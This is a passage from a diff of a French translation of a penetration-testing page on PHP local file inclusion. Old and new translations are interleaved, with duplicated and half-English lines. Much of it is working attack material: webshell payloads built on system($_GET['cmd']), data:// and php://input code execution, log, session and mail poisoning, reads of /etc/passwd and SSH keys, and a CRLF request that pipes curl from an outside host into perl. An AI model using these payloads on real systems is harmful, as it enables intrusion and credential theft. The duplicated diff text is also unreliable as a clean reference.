- En exécutant dans php `var_dump(stream_get_filters());`, vous pouvez trouver quelques filtres **inattendus**:
- `consumed`
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> La partie "php://filter" est insensible à la casse
> La partie "php://filter" n'est pas sensible à la casse
### Utiliser php filters comme oracle pour lire des fichiers arbitraires
### Using php filters as oracle to read arbitrary files
[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **boolean exfiltration of the file (char by char) using php filters** comme oracle. Ceci parce que php filters peuvent être utilisés pour agrandir un texte suffisamment pour provoquer une exception php.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que le serveur ne renvoie son contenu. Cette technique est basée sur une boolean exfiltration du fichier (char by char) en utilisant php filters comme oracle. En effet, php filters peuvent être utilisées pour agrandir un texte suffisamment pour que php lance une exception.
Dans l'article original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
- Utiliser le codec **`UCS-4LE`** pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle.
- Cela sera utilisé pour générer un **texte tellement volumineux quand la lettre initiale est devinée correctement** que php déclenchera une **erreur**
- Le filtre **dechunk** **supprimera tout si le premier char n'est pas un hexadecimal**, donc on peut savoir si le premier char est hex.
- Cela, combiné avec le précédent (et d'autres filters dépendant de la lettre devinée), permettra de deviner une lettre en début de texte en observant quand on applique suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Car si elle est hex, dechunk ne la supprime pas et la bombe initiale provoquera une erreur php.
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple parce que si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractère hexadécimal, donc dechunk ne la supprime pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
- En utilisant d'autres transformations comme **rot13** au début il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hex).
- Quand le caractère initial est un nombre il est nécessaire de base64 encoder et leak les 2 premières lettres pour leak le nombre.
- Le problème final est de voir **how to leak more than the initial letter**. En utilisant des filters d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des chars et de mettre en première position d'autres lettres du texte.
- Et afin de pouvoir obtenir **further data** l'idée est de **générer 2 bytes de junk data au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour le faire **pivot with the next 2 bytes**, et **supprimer les données jusqu'aux junk data** (cela supprimera les 2 premiers bytes du texte initial). Continuer ainsi jusqu'à atteindre le bit désiré à leak.
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- Using other transformations like **rot13** at the beginning its possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number its needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
Dans le post, un outil pour effectuer cela automatiquement a aussi été leaked : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentially useful to exfiltrate the content of opened files:
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Vous pouvez également utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **file descriptors 0, 1 and 2** respectivement (je ne sais pas trop comment cela pourrait être utile dans une attaque)
Vous pouvez aussi utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **file descriptors 0, 1 and 2** respectivement (pas sûr que cela puisse être utile dans une attaque)
### zip:// and rar://
Téléversez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.\
Pour pouvoir abuser du protocole rar, il **doit être activé spécifiquement**.
Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.\
Pour pouvoir abuser du protocole rar, il **doit être spécifiquement activé**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Notez que ce protocole est restreint par les configurations PHP **`allow_url_open`** et **`allow_url_include`**
Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`**
### expect://
@ -339,7 +339,7 @@ http://example.com/index.php?page=expect://ls
```
### input://
Spécifiez votre payload dans les paramètres POST:
Spécifiez votre payload dans les paramètres POST :
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
@ -358,9 +358,9 @@ Pour compiler le fichier `.phar`, la commande suivante doit être exécutée :
```bash
php --define phar.readonly=0 create_path.php
```
Lors de son exécution, un fichier nommé `test.phar` sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI).
Lors de l'exécution, un fichier nommé `test.phar` sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI).
Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, on peut tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`.
Dans les cas où la LFI se contente seulement de lire un fichier sans exécuter le code PHP contenu — via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()` — il est possible d'essayer d'exploiter une deserialization vulnerability. Cette vulnérabilité est liée à la lecture de fichiers via le protocole `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -373,74 +373,74 @@ phar-deserialization.md
### CVE-2024-2961
Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui prend en charge php filters** pour obtenir une RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Résumé très rapide : un **débordement de 3 octets** dans le heap PHP a été exploité pour **altérer la chaîne de chunks libres** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\
Il était possible d'allouer des chunks de tailles spécifiques en abusant d'autres php filters.
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Très bref résumé : un **overflow de 3 octets** dans le heap PHP a été exploité pour **alter the chain of free chunks** d'une taille spécifique afin de pouvoir **write anything in any address**, donc un hook a été ajouté pour appeler **`system`**.\
Il était possible d'alloc des chunks de tailles spécifiques en abusant d'autres php filters.
### Plus de protocoles
### Autres protocoles
Consultez d'autres[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Consultez d'autres [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque d'inclusion de fichier)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrit en mémoire ou dans un fichier temporaire (pas sûr de son utilité dans une file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (Cela ne renvoie rien d'imprimable, donc pas vraiment utile ici)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un modèle (ne renvoie rien d'imprimable, pas vraiment utile ici)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
## LFI via PHP's 'assert'
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. C'est particulièrement problématique si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on traite la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. Cela pose un problème surtout si une entrée contenant des caractères de directory traversal comme ".." est vérifiée mais pas correctement assainie.
Par exemple, du code PHP pourrait être conçu pour empêcher la traversée de répertoires ainsi :
Par exemple, du code PHP pourrait être conçu pour empêcher le directory traversal de la façon suivante:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur de code injection. Pour l'exploiter afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
De même, pour exécuter des commandes système arbitraires, on peut utiliser :
De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :
```plaintext
' and die(system("id")) or '
```
Il est important de **URL-encode these payloads**.
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Cette technique est pertinente dans les cas où vous **contrôlez** le **file path** d'une **PHP function** qui va **access a file** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) car le contenu n'est pas affiché.
> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**), le contenu n'étant pas affiché.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
Dans [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment un blind path traversal peut être abusé via PHP filter pour **exfiltrate the content of a file via an error oracle**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **big** que la **PHP function opening** le fichier déclenchera une **error**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **gros** que la **fonction PHP ouvrant** le fichier déclenche une **erreur**.
Ensuite, pour leak the first char le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13**, et enfin les filters **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **place other chars at the beggining and leak them**.
Puis, pour leak le premier caractère, le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13**, et enfin les filters **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres caractères au début et les leak.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
Pour les détails techniques, consultez le post mentionné !
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Lorsque le code côté serveur qui ingère/téléverse des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un filename ou URL) sans canonicaliser ni valider, les segments `..` et les chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture arbitraire de fichier. Si vous pouvez placer le payload sous un répertoire exposé par le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
Typical exploitation workflow:
- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (p.ex. ingestion pilotée par messages, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Créez un traversal path qui sort du répertoire de stockage prévu pour atteindre le webroot, et incluez votre contenu webshell.
- Accédez à la payload déposée et exécutez des commandes.
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Concevoir un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure votre contenu de webshell.
- Accéder au payload déposé et exécuter des commandes.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées par une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille centrale.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Durcissement qui neutralise cette classe de bugs :
- Résoudre vers un chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base allow-listed.
Mesures de durcissement qui neutralisent cette classe de vulnérabilités :
- Résoudre le chemin en chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base allow-listé.
- Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
- Exécuter le writer sous un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
- Exécuter le writer avec un compte peu privilégié et séparer les répertoires d'écriture des racines servies.
## Remote File Inclusion
Explained previously, [**follow this link**](#remote-file-inclusion).
Expliqué précédemment, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Via le fichier de log Apache/Nginx
Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, placer dans le **user agent** ou dans un **GET parameter** une php shell comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
Si le serveur Apache ou Nginx est **vulnerable to LFI** dans la fonction include vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, insérer dans le **user agent** ou dans un **paramètre GET** une php shell comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
> [!WARNING]
> Notez que **si vous utilisez des double quotes** pour le shell au lieu de **simple quotes**, les double quotes seront modifiées pour la chaîne "_**quote;**_", **PHP lèvera une erreur** et **rien d'autre ne sera exécuté**.
> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP générera une erreur** et **rien d'autre ne sera exécuté**.
>
> De plus, assurez-vous **d'écrire correctement le payload** sinon PHP renverra une erreur à chaque tentative de chargement du fichier de logs et vous n'aurez pas de seconde opportunité.
> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP renverra une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.
Cela peut également être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être URL encoded et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Other possible log paths:
Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Autres chemins de logs possibles:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,39 +499,39 @@ Other possible log paths:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Par email
### Par e-mail
**Envoyer un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envoyer un e-mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Par /proc/\*/fd/\*
### Via /proc/\*/fd/\*
1. Upload beaucoup de shells (par exemple : 100)
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (can be brute forced) et $FD le descripteur de fichier (can be brute forced too)
1. Téléversez beaucoup de shells (par exemple : 100)
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être découvert par force brute) et $FD le descripteur de fichier (peut aussi être découvert par force brute)
### Par /proc/self/environ
### Via /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent ; il sera reflété dans le fichier /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : `<?php system($_GET['c']); ?>` ).
Si vous pouvez upload un fichier, injectez-y simplement le shell payload (ex : `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
### Via Zip file upload
### Via téléversement d'un fichier ZIP
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez à :
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
### Via les sessions PHP
Vérifiez si le site utilise PHP Session (PHPSESSID)
Vérifiez si le site utilise la session PHP (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -541,36 +541,37 @@ En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PH
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Définir le cookie sur `<?php system('cat /etc/passwd');?>`
Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Utilisez la LFI pour inclure le fichier de session PHP
Utilisez la LFI pour inclure le PHP session file
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Par ssh
### Via ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**.
### **Par** **vsftpd** _**logs**_
### **Via** **vsftpd** _**logs**_
Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le cas où une vulnérabilité Local File Inclusion (LFI) est présente et qu'il est possible d'accéder à un serveur vsftpd exposé, les étapes suivantes peuvent être envisagées :
1. Injecter une charge utile PHP dans le champ username lors du processus de connexion.
2. Après l'injection, utiliser la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
1. Injectez un payload PHP dans le champ username lors du processus de connexion.
2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
### Par le filtre base64 de PHP (en utilisant base64)
### Via php base64 filter (using base64)
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il va simplement ignorer le "." et ajouter "php" au base64. Voici un exemple de payload:
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 se terminant par ".php", il ignorera le "." et ajoutera "php" au base64. Voici un exemple de payload :
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (pas de fichier nécessaire)
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser les **php filters pour générer du contenu arbitraire** en sortie. Ce qui veut essentiellement dire que vous pouvez **générer du code php arbitraire** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
{{#ref}}
lfi2rce-via-php-filters.md
@ -578,7 +579,8 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Upload** un fichier qui sera stocké comme **temporary** dans `/tmp`, puis dans la **same request,** provoquez un **segmentation fault**, et alors le **temporary file won't be deleted** et vous pourrez le rechercher.
**Téléversez** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** provoquez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le retrouver.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -586,7 +588,8 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
Si vous trouvez une **Local File Inclusion** et que **Nginx** est placé devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en frontal de PHP, vous pourriez parvenir à obtenir RCE avec la technique suivante :
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -594,7 +597,8 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Si vous trouvez une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de ceci pour obtenir une RCE :
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de cela pour obtenir RCE :
{{#ref}}
via-php_session_upload_progress.md
@ -602,7 +606,8 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Si vous trouvez une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE :
Si vous avez trouvé une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir RCE :
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -610,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), le script `/usr/local/lib/phppearcmd.php` existe par défaut dans les images php docker. De plus, il est possible de passer des arguments au script via l'URL parce qu'il est indiqué que si un param URL n'a pas de `=`, il doit être utilisé comme argument. Voir aussi [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) et [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `<?=phpinfo()?>` :
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
L'exemple suivant exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)) :
Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -625,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE:
Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir une RCE :
{{#ref}}
@ -634,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** **vérifie** si le **fichier à inclure contient des marks PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
Si vous avez trouvé une **Local File Inclusion** et que vous **can exfiltrate the path** of the temp file MAIS que le **server** est en train de **checking** si le **file to be included has PHP marks**, vous pouvez essayer de **bypass that check** avec cette **Race Condition** :
{{#ref}}
